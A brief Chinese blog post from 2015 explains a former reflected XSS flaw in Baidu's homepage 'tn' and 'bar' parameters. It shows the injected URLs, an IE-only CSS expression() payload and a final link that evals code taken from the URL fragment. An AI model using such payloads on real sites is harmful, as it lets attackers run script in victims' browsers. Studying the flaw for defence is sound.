代码改变世界

一个典型的参数型跨站脚本漏洞

2015-02-24 14:39  挨踢虫  阅读(259)  评论(0编辑  收藏  举报

拿百度主页曾经的一个XSS做个演示,这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS:

http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert(‘xss‘));  
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert(‘xss‘));  

tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:

<input type=hidden name=tn value=""/**/style=xss:expression(alert(‘xss‘));">  


这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:  

eval(unescape(location.hash.substr(1)))  

给window对象的方法定义一个值,判断这个值运行一次代码:  

(window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1  

最后得到完美的攻击链接:  

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1);#alert%28%29